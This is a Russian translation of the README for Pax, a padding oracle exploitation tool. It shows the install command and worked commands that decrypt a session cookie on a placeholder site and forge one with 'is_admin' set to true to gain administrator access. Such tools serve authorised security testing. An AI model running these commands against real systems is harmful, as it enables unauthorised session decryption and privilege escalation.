
💀 🔓 CLI-инструмент для атак на PKCS7 padding oracle
Эксплуатируйте padding oracle ради удовольствия и прибыли!
Pax (PAdding oracle eXploiter) — это инструмент для эксплуатации padding oracle, позволяющий:
Это может быть использовано для раскрытия зашифрованной информации сеанса, а также часто для обхода аутентификации, повышения привилегий и удаленного выполнения кода путем шифрования собственного открытого текста и записи его обратно на сервер.
Как всегда, этот инструмент следует использовать только на системах, которые вам принадлежат и/или на которые у вас есть разрешение на проверку!
Скачайте из релизов или установите с помощью Go:
go get -u github.com/liamg/pax/cmd/pax
Если вы нашли подозрительный оракул, где зашифрованные данные хранятся в cookie с именем SESS, вы можете использовать следующее:
pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"
Это, вероятно, даст вам некоторый открытый текст, например:
{"user_id": 456, "is_admin": false}
Похоже, вы можете повысить здесь свои привилегии!
Вы можете попытаться сделать это, сначала сгенерировав собственные зашифрованные данные, которые оракул расшифрует обратно в хитрый открытый текст:
pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'
Это выдаст другой набор зашифрованных данных в кодировке base64, например:
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Теперь вы можете открыть браузер и установить значение cookie SESS равным приведенному выше значению. Загрузив исходную страницу оракула, вы должны увидеть, что теперь вы повышены до уровня администратора.
Ниже приведены отличные руководства по тому, как работает эта атака: